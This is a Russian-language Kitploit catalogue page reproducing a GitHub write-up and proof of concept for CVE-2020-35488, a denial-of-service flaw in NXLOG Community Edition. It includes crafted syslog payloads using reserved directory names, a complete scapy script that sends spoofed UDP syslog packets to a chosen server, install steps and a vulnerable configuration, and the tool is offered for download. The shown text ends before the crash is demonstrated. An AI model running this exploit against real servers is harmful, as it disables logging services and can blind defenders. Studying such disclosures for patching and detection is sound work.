Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-35488 — Доказательство концепции эксплуатации для CVE-2020-35488, уязвимости типа «отказ в обслуживании» в NXLOG Community Edition, вызванной специально сформированными syslog-нагрузками, приводящими к сбоям при создании каталогов. | Kitploit
Инструменты/GitHubGitHub/guillaumepetit84/cve-2020-35488
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеАнализ Журналов
GitHubguillaumepetit84/cve-2020-35488

CVE-2020-35488

Доказательство концепции эксплуатации для CVE-2020-35488, уязвимости типа «отказ в обслуживании» в NXLOG Community Edition, вызванной специально сформированными syslog-нагрузками, приводящими к сбоям при создании каталогов.

Репозиторий
195 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Я обнаружил уязвимость в продукте: nxlog-ce_2.10.2150. Я тестировал свой PoC только на Linux (Debian 10) и Windows (Windows Server 2016).


1 Описание :

Область действия : NXLOG Community Edition 2.10.2150

Тип ошибки : CWE-502, Десериализация недоверенных данных https://cwe.mitre.org/data/definitions/502.html

Уязвимый компонент : Syslog payload

Полезная нагрузка :

  • Unix : Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden
  • Windows : Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden

МОЙ РАСЧЁТ CVSS :

Вектор атаки : Сеть

Требуемые привилегии : Отсутствуют

Область действия : Без изменений

Целостность : Отсутствует

Сложность атаки : Низкая

Взаимодействие с пользователем : Отсутствует

Конфиденциальность : Отсутствует

Доступность : Высокая


Оценка CVSS : 7.5

Уровень опасности : ВЫСОКИЙ


РАСЧЁТ CVSS ОТ NIST : Ссылка : https://nvd.nist.gov/vuln/detail/CVE-2020-35488

Вектор атаки :

Требуемые привилегии :

Область действия :

Целостность :

Сложность атаки :

Взаимодействие с пользователем :

Конфиденциальность :

Доступность :


Оценка CVSS (3.X) : 7.5

Уровень опасности : ВЫСОКИЙ


2 Эксплуатация :

Эта уязвимость может вызвать DoS сервера NXLOG.

Но сервер должен иметь определённую конфигурацию: файл конфигурации nxlog должен задавать создание каталога, имя которого содержит поле из части полезной нагрузки Syslog.

Поле Syslog: https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields

Программа пытается создать каталог, но имя этого каталога не может быть создано в файловой системе.

Поскольку имя этого каталога запрещено.

Вот пример имени каталога, которое невозможно создать:

  • Для Windows : CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 и LPT9;
  • Для Linux : .., .

Поэтому если конфигурация предписывает создавать каталог, имя которого формируется из полезной нагрузки Syslog, злоумышленник может остановить службу Nxlog.


3 PoC :

Для эксплуатации этой уязвимости я создал Python-скрипт:

#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3

import sys
import time
import argparse
from scapy.all import *

def getPayload(args):
        # IF UNIX
        if (args.OS == 1):
                return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
        # IF WINDOWS
        elif (args.OS == 2):
                return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"

        # Test
        elif (args.OS == 3):
                return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"

def runExploit(args,payload):
        priority = 30
        message = payload
        syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
        send(syslog,verbose=args.DEBUG)

def getArguments():
        parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
        parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
        parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
        parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
        parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
        return parser.parse_args()

def main():
        args = getArguments()
        payload = getPayload(args)
        runExploit(args,payload)
main()

2.1 Linux :

2.1.1 Установка :

Установка службы Nxlog на Debian 10:

apt-get install libapr1 libdbi1 libssl1.1 multiarch-support

cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb

dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb

Файл конфигурации службы nxlog:

cat /etc/nxlog/nxlog.conf
########################################
# Global directives                    #
########################################
User nxlog
Group nxlog

LogFile /var/log/nxlog/nxlog.log

########################################
# Modules                              #
########################################
<Extension _syslog>
    Module      xm_syslog
</Extension>

<Extension _exec>
    Module      xm_exec
</Extension>

<Extension _fileop>
    Module      xm_fileop
</Extension>

<Input udp>
    Module      im_udp
    Host        0.0.0.0
    Port        514
    Exec        parse_syslog_bsd();
</Input>

<Output file>
    Module      om_file
    CreateDir   True
    File        "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>

########################################
# Routes                               #
########################################
<Route syslog_to_file>
    Path        udp => file
    Priority    1
</Route>

Запуск службы Nxlog:

systemctl start nxlog
systemctl status nxlog

Результат:

● nxlog.service - LSB: logging daemon
   Loaded: loaded (/etc/init.d/nxlog; generated)
   Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
     Docs: man:systemd-sysv-generator(8)
    Tasks: 7 (limit: 2330)
   Memory: 1.7M
   CGroup: /system.slice/nxlog.service
           └─1323 /usr/bin/nxlog

nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.

Проверка:

lsof -i :514

Результат:

nxlog   1323 nxlog   18u  IPv4  21321      0t0  UDP localhost:syslog
nxlog   1323 nxlog   19u  IPv4  21324      0t0  TCP localhost:shell (LISTEN)

Ок, отлично!


2.1.2 Тест :

С помощью моего скрипта на Python я могу просто отправить Syslog-сообщение, чтобы проверить, создаёт ли служба Nxlog каталог.

Имя каталога формируется на основе поля HOSTNAME полезной нагрузки Syslog. (См. файл конфигурации)

Итак:

./syslog-exploit.py -ip 192.168.1.55 -os 3

Третий вариант задаёт имя узла 123soleil в полезной нагрузке Syslog.

Итак:

ls /var/log/nxlog
123soleil  nxlog.log

cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden

Ок, сервер Nxlog и Syslog-клиент работают!


Скачать инструмент